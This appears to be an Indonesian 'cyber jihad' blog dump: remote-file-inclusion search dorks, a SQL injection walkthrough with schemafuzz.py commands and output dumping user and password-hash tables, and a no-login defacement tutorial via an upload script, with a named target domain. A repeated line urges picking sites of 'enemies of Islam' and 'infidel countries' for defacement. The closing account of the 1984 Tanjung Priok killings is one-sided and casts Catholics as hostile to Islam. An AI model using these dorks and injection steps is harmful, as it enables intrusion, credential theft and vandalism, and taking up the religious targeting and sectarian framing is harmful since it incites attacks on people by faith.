main=
mainspot=
msg=
num=
openfile=
p=
page=
pagina=
path=
path_to_calendar=
pg=
plik
qry_str=
ruta=
safehtml=
section=
showfile=
side=
site_id=
skin=
static=
str=
strona=
sub=
tresc=
url=
user=
Note : usahakanlah mencari situs milik musuh islam/negara2 kafir 'untuk setiap aksi pendeface'an'

- BRIGADE AL-BANTANI -
--CYBER JIHAD--

RFI Dork - Sebagai Senjata Cyber

RFI

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/include/new-visitor.inc.php?lvc_include_dir=

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.dk

allinurl:/index.php?file= site:*.dk

INURL OR ALLINURL WITH:

/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

/includes/header.php?systempath=

/Gallery/displayCategory.php?basepath=

/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

/ashheadlines.php?pathtoashnews=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/demo/includes/init.php?user_inc=

/jaf/index.php?show=

/inc/shows.inc.php?cutepath=

/poll/admin/common.inc.php?base_path=

/pollvote/pollvote.php?pollname=

/sources/post.php?fil_config=

/modules/My_eGallery/public/displayCategory.php?basepath=

/bb_lib/checkdb.inc.php?libpach=

/include/livre_include.php?no_connect=lol&chem_absolu=

/index.php?from_market=Y&pageurl=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/pivot/modules/module_db.php?pivot_path=

/modules/4nAlbum/public/displayCategory.php?basepath=

/derniers_commentaires.php?rep=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/coppermine/include/init.inc.php?CPG_M_DIR=

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

/coppermine/themes/maze/theme.php?THEME_DIR=

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

/myPHPCalendar/admin.php?cal_dir=

/agendax/addevent.inc.php?agendax_path=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

/main.php?page=

/default.php?page=

/index.php?action=

/index1.php?p=

/index2.php?x=

/index2.php?content=

/index.php?conteudo=

/index.php?cat=

/include/new-visitor.inc.php?lvc_include_dir=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/zentrack/index.php?configFile=

/main.php?x=

/becommunity/community/index.php?pageurl=

/GradeMap/index.php?page=

/index4.php?body=

/side/index.php?side=

/main.php?page=

/es/index.php?action=

/index.php?sec=

/index.php?main=

/index.php?sec=

/index.php?menu=

/html/page.php?page=

/page.php?view=

/index.php?menu=

/main.php?view=

/index.php?page=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/index.php?show=

/tutorials/print.php?page=

/index.php?page=

/index.php?level=

/index.php?file=

/index.php?inter_url=

/index.php?page=

/index2.php?menu=

/index.php?level=

/index1.php?main=

/index1.php?nav=

/index1.php?link=

/index2.php?page=

/index.php?myContent=

/index.php?TWC=

/index.php?sec=

/index1.php?main=

/index2.php?page=

/index.php?babInstallPath=

/main.php?body=

/index.php?z=

/main.php?view=

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

/index.php?file=

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

1. allinurl:my_egallery site:.org
/modules/My_eGallery/public/displayCategory.php?basepath=

2. allinurl:xgallery site:.org
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

3. allinurl:coppermine site:.org
/modules/coppermine/themes/default/theme.php?THEME_DIR=

4. allinurl:4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=

5. allinurlP:NphpBB2 site:.org
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

6. allinurl:ihm.php?p=

7. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

8. allinurl:/modules.php?name=allmyguests
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

9. allinurl:/Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=

10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=

11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=

12. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

13. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=

14. allinurl:"powered by AshNews", allinurl:AshNews atau allinurl: /ashnews.php
/ashnews.php?pathtoashnews=

15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

16. allinurl:ihm.php?p=*

Note : usahakanlah mencari situs milik musuh islam/negara2 kafir 'untuk setiap aksi pendeface'an'

- BRIGADE AL-BANTANI -
--CYBER JIHAD--

SQL Injection Dengan SchemaFuzzy

Author : Andr3^81
e-Mail : andr3-81[at]linuxmail[dot]org

Schemafuzz.py dibuat dengan menggunakan bahasa python oleh rsauron[@]gmail[dot]com dari situs darkc0de
tujuannya untuk memudahkan para SQL injector menemukan tabel dan kolom pada database sql yang dipenetrasi.

ok untuk tidak berpanjang lebar lagi mari kita perhatikan dengan seksama langkah-langkah berikut
pertama-tama kita cari target dengan google dan ditemukan:

misalnya

http://127.0.0.1/site/phpweb/forum.php?forum=1

sebelum kita melangkah lebih lanjut perlu kita ketahui apa saja perintah yang harus digunakan.

caranya seperti ini ./schemafuzz.py -h help
kita temukan sebagian perintahnya seperti ini

–schema, –dbs, –dump, –fuzz, –info, –full, –findcol
langkah pertama

—————-
./schemafuzz.py-u"http://127.0.0.1/site/phpweb/forum.php?forum=1″ –findcol
diperoleh seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1–
[+] Evasion Used: “+” “–”
[+]01:32:04
[+]Proxy Not Given
[+]Attempting To find the number of columns…
[+]Testing: 0,1,2,3,4,5,
[+]Column Length is: 6
[+]Found null column at column#:1
[+]SQLiURL: http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,1,2,3,4,5–

[+]darkc0deURL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5
[-] Done!

langkah kedua
————–
setelah ketemu kita masukkan copy yang darkc0de URL jadi seperti ini
./schemafuzz.py-u“http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″–fuzz

diperoleh seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:37:09
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a

[+] Number of tables names to be fuzzed: 354
[+] Number of column names to be fuzzed: 263
[+] Searching for tables and columns…
[+] Found a table called: mysql.user
[+] Now searching for columns inside table “mysql.user”
[!] Found a column called:user
[!] Found a column called:password
[-] Done searching inside table “mysql.user” for columns!
[-] [01:37:48]
[-] Total URL Requests 618
[-] Done

langkah ketiga

—————
Setelah kita temukan nama databasenya trus kita lanjutkan kelangkah berikutnya
./schemafuzz.py-u“http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″-schema -D namadatabasenya

./schemafuzz.py -u“http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″-schema -D webthings
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:43:11
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Showing Tables & Columns from database “webthings”
[+] Number of Tables: 33
[Database]: webthings
[Table: Columns]
[0]wt_articles: cod,article_id,subtitle,page,text,text_ori,htmlarticle,views
[1]wt_articles_title: article_id,category,title,active,date,userid,views
[2]wt_articlescat: cod,category
[3]wt_banners: cod,name,active,image,url_image,url,code,views,clicks,periode,start_date,end_date
[4]wt_banners_log: banner,date,views,clicks,sessions
[5]wt_banners_rawlog: banner,type,date,session
[6]wt_centerboxes: cod,pos,active,oneverypage,menuoption,title,content,file,type,draw_box
[7]wt_comments: cod,type,link,date,userid,comment
[8]wt_config: id,config
[9]wt_downloads: id,category,name,active,url,date,size,count,rate_sum,rate_count,short_description,description,small_picture,big_picture,author_name,author_email,comments,url_screenshot,license,license_text
[10]wt_downloadscat: cod,ref,name,descr
[11]wt_faq: cod,topic,uid,active,question_ori,question,answer_ori,answer
[12]wt_faq_topics: cod,name
[13]wt_forum_log_topics: uid,msgid,logtime,notifysent
[14]wt_forum_msgs: cod,forum,msg_ref,date,userid,title,text_ori,date_der,views,closed,sticky,modifiedtime,modifiedname,notifies
[15]wt_forums: cod,title,descr,locked,notifies,register
[16]wt_forums_mod: forum,userid,type
[17]wt_guestbook: id,datum,naam,email,homepage,plaats,tekst
[18]wt_links: id,category,active,name,url,count,descr,obs
[19]wt_linkscat: cod,name,descr,parent_id
[20]wt_menu: id,pos,title,url,type,newwindow,lang
[21]wt_news: cod,lang,category,catimgpos,date,title,userid,image,align,active,counter,text,text_ori,full_text,full_text_ori,archived,sidebox,sideboxtitle,sideboxpos
[22]wt_newscat: cod,name,image
[23]wt_online: id,time,uid
[24]wt_picofday: id,category,userid,small_picture,big_picture,description,full_description,views,clicks
[25]wt_picofdaycat: id,name,description
[26]wt_picofdaysel: date,picture_id,views,clicks
[27]wt_polls: cod,dtstart,dtend,question,item01,item02,item03,item04,item05,item06,item07,item08,item09,item10,count01,count02,count03,count04,count05,count06,count07,count08,count09,count10
[28]wt_sideboxes: cod,pos,side,active,title,content,file,type,function,modules
[29]wt_user_access: userid,module
[30]wt_user_book: userid,cod_user
[31]wt_user_msgs: cod,userid,folder,date,user_from,title,msg_read,text,notify
[32]wt_users: uid,name,password,class,realname,email,question1,question2,url,receivenews,receiverel,country,city,state,icq,aim,sex,session,active,comments,
newsposted,commentsposted,faqposted,topicsposted,dateregistered,dateactivated,lastvisit,logins,newemail,newemailsess,avatar,lang,theme,signature,banned,msn,showemail
[-] [01:43:48]
[-] Total URL Requests 270
[-] Done

untuk mengetahui apakah kita bisa load_file dalam site tersebut gunakan perintah ini

./schemafuzz.py-u“http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –info

maka akan tampil seperti ini

[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–

[+] Evasion Used: “+” “–”
[+] 01:46:51
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a
[+] Do we have Access to MySQL Database: Yes <– w00t w00t
[!] http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,concat(user,0×3a,password),2,3,4,5+FROM+mysql.user–
[+] Do we have Access to Load_File: No
[-] [01:46:51]
[-] Total URL Requests 3
[-] Done
ternyata kita gak bisa load_file tapi bisa mengakses ke database mysqlnya hehehe

untuk mengetahui beberapa database yang terdapat pada site tersebut, kita gunakan perintah seperti ini

./schemafuzz.py-u“http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″ –dbs

akan tampil seperti ini
[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–
[+] Evasion Used: “+” “–”
[+] 01:58:15
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
Database: webthings
User: testing@localhost
Version: 5.0.51a

[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[0] webthings
[-] [01:58:17]
[-] Total URL Requests 30
[-] Done

langkah selanjutnya
——————–
cara untuk menemukan user dan password
kita gunakan perintah –dump-D namadatabase -T namatabel -C namakolom
setelah kita menemukan nama database, nama tabel dan kolom tinggal kita masukkan perintah seperti ini

./schemafuzz.py-u“http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5″–dump-D webthing -T wt_users -C name,password

eing ing eng….
jreennnng….keluar deh user ama passwordnya
hasilnya dibawah ini

[+] URL:http://127.0.0.1/site/phpweb/forum.php?forum=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5–

[+] Evasion Used: “+” “–”
[+] 02:08:47
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…

Database: webthings
User: testing@localhost

Version: 5.0.51a

[+] Dumping data from database “webthings” Table “wt_users”
[+] Column(s) ['name','password']
[+] Number of Rows: 2
[0] admin:e00b29d5b34c3f78df09d45921c9ec47:
[1] user:098f6bcd4621d373cade4e832627b4f6:
[-] [02:08:48]
[-] Total URL Requests 4
[-] Done

jangan lupa kita selalu mengecek schemafuzzlog.txt nya
setelah itu tinggal kita meng crack passwordnya pake program
gemana rekan2 gampang kan pake schemafuzz

NB:

Langkah diatas sangat mudah digunakan pada MySQL v5 kalau untuk MySQL versi 4 silakan menebak2 tabel ama kolomnya Ingat kita jgn terlalu dimanjakan dengan program yang siap pakai, sebab kita gak ngerti dasar-dasarnya, asal-usulnya…

program tersebut hanya bertujuan untuk membantu kita apabila kita tidak menemukan sesuatu yang muncul dalam site target.

Special thanks Binushacker


Note : usahakanlah mencari situs milik musuh islam/negara2 kafir 'untuk setiap aksi pendeface'an'

- BRIGADE AL-BANTANI -
--CYBER JIHAD--

Tutorial Deface Tanpa Login

---------------------
Assalamualaikum.wr.wb
---------------------

sbelum mlakukan kegiatan alangkah baik'y berdoa dolo ...

semoga perjuangan kita di ridhoi Allah Swt
ok langsung k Step by step

Dork = allinurl:"/cgi-bin/ourspace
exploid = /cgi-bin/ourspace/newswire/uploadmedia.cgi

- Buka google = masukan dork tadi
- Cari target site'y
- Contoh target : http://www.israelbego.com/cgi-bin/ourspace//login.cgi
- Hapus /cgi-bin/ourspace//login.cgi
- & kemudian ganti dengan Exploit
- Jadi : http://www.israelbego.com/cgi-bin/ourspace/newswire/uploadmedia.cgi
- Enter dah tu Url (abrakadabraaaaaa...)

klo berhasil anda biasa'y diberi akses upload file ^-^.....
skarang upload file Html'y (H4ck By _ _ _ _)

Note : usahakanlah mencari situs milik musuh islam/negara2 kafir 'untuk setiap aksi pendeface'an'

- BRIGADE AL-BANTANI -
--CYBER JIHAD--

Jumat, 30 Juli 2010

Tragedi Tanjung Priok - Jakarta, 1984

Senin, 10 September 1984. Seorang oknum ABRI beragama Katholik, Sersan Satu Hermanu, mendatangi mushala As-Sa'adah untuk menyita pamflet berbau 'SARA'. Namun tindakan Sersan Hermanu sangat menyinggung perasaan ummat Islam. Ia masuk ke dalam masjid tanpa melepas sepatu, menyiram dinding mushala dengan air got, bahkan menginjak Al-Qur'an. Warga marah dan motor motor Hermanu dibakar. Buntutnya, empat orang pengurus mushala diciduk Kodim. Upaya persuasif yang dilakukan ulama tidak mendapat respon dari aparat. Malah mereka memprovokasi dengan mempertontonkan salah seorang ikhwan yang ditahan itu, dengan tubuh penuh luka akibat siksaan.

Rabu. 12 September 1984. Mubaligh Abdul Qodir Djaelani membuat pernyataan yang menentang azas tunggal Pancasila. Malamnya, di Jalan Sindang, Tanjung Priok, diadakan tabligh. Ribuan orang berkumpul dengan semangat membara, disemangati khotbah dari Amir Biki, Syarifin Maloko, Yayan Hendrayana, dll. Tuntutan agar aparat melepas empat orang yang ditahan terdengar semakin keras. Amir Biki dalam khotbahnya berkata dengan suara bergetar, "Saya beritahu Kodim, bebaskan keempat orang yang ditahan itu sebelum jam sebelas malam. Jika tidak, saya takut akan terjadi banjir darah di Priok ini". Mubaligh lain, Ustdaz Yayan, bertanya pada jamaah, "Man anshori ilallah? Siapa sanggup menolong agama Allah ?" Dijawab oleh massa, "Nahnu Anshorullah ! Kami siap menolong agama Allah !" Sampai jam sebelas malam tidak ada jawaban dari Kodim, malah tank dan pasukan didatangkan ke kawasan Priok. Akhirnya, lepas jam sebelas malam, massa mulai bergerak menuju markas Kodim. Ada yang membawa senjata tajam dan bahan bakar. Tetapi sebagian besar hanyalah berbekal asma' Allah dan Al-Qur'an. Amir Biki berpesan, "Yang merusak bukan teman kita !"

Di Jalan Yos Sudarso massa dan tentara berhadapan. Tidak terlihat polisi satupun, padahal seharusnya mereka yang terlebih dahulu menangani (dikemudian hari diketahui, para polisi ternyata dilarang keluar dari markasnya oleh tentara). Massa sama sekali tidak beringas. Sebagian besar malah hanya duduk di jalan dan bertakbir. Tiba-tiba terdengar aba-aba mundur dari komandan tentara. Mereka mundur dua langkah, lalu ... astaghfirullah ! Tanpa peringatan terlebih dahulu, tentara mulai menembaki jamaah dan bergerak maju. Gelegar senapan terdengar bersahut-sahutan memecah kesunyian malam. Aliran listrik yang sudah dipadamkan sebelumnya membuat kilatan api dari moncong-moncong senjata terlihat mengerikan. Satu demi satu para syuhada tersungkur dengan darah membasahi bumi. Kemudian, datang konvoi truk militer dari arah pelabuhan, menerjang dan melindas massa yang tiarap di jalan. Dari atas truk, orang-orang berseragam hijau tanpa nurani gencar menembaki. Tentara bahkan masuk ke perkampungan dan menembak dengan membabi-buta. Tanjung Priok banjir darah.

Pemerintah dalam laporan resminya yang diwakili Panglima ABRI, Jenderal L. B. Moerdani, menyebutkan bahwa korban tewas 'hanya' 18 orang dan luka-luka 53 orang. Namun dari hasil investigasi tim pencari fakta, SONTAK (SOlidaritas Nasional untuk peristiwa TAnjung prioK), diperkirakan sekitar 400 orang tewas, belum terhirung yang luka-luka dan cacat. Sampai dua tahun setelah peristiwa pembantaian itu, suasana Tanjung Priok begitu mencekam. Siapapun yang menanyakan peristiwa 12 September, menanyakan anak atau kerabatnya yang hilang, akan berurusan dengan aparat.

Sebenarnya sejak beberapa bulan sebelum tragedi, suasana Tanjung Priok memang terasa panas. Tokoh-tokoh Islam menduga keras bahwa suasana panas itu memang sengaja direkayasa oleh oknum-oknum tertentu dipemerintahan yang memusuhi Islam. Terlebih lagi bila melihat yang menjadi Panglima ABRI saat itu, Jenderal Leonardus Benny Moerdani, adalah seorang Katholik yang sudah dikenal permusuhannya terhadap Islam. Suasana rekayasa ini terutama sekali dirasakan oleh ulama-ulama di luar tanjung Priok. Sebab, di kawasan lain kota Jakarta sensor bagi para mubaligh sangat ketat. Namun entah kenapa, di Tanjung Priok yang merupakan basis Islam itu para mubaligh dapat bebas berbicara bahkan mengkritik pemerintah, sampai menolak azas tunggal Pancasila. Adanya rekayasa dan provokasi untuk memancing ummat Islam dapat diketahui dari beberapa peristiwa lain sebelum itu, misalnya dari pembangunan bioskop Tugu yang banyak memutar film maksiat diseberang Masjid Al-Hidayah. Tokoh senior seperti M. Natsir dan Syafrudin Prawiranegara sebenarnya telah melarang ulama untuk datang ke Tanjung Priok agar tidak masuk ke dalam perangkap. Namun seruan ini rupanya tidak sampai kepada para mubaligh Priok. Dari cerita Syarifin Maloko, ketua SONTAK dan mubaligh yang terlibat langsung peristiwa 12 September, ia baru mendengar adanya larangan tersebut setelah berada di dalam penjara. Rekayasa dan pancingan ini tujuannya tak lain untuk memojokkan Islam dan ummatnya di Indonesia.

Diringkas dan diedit ulang dari Majalah Sabili dan Tabloid Hikmah

Source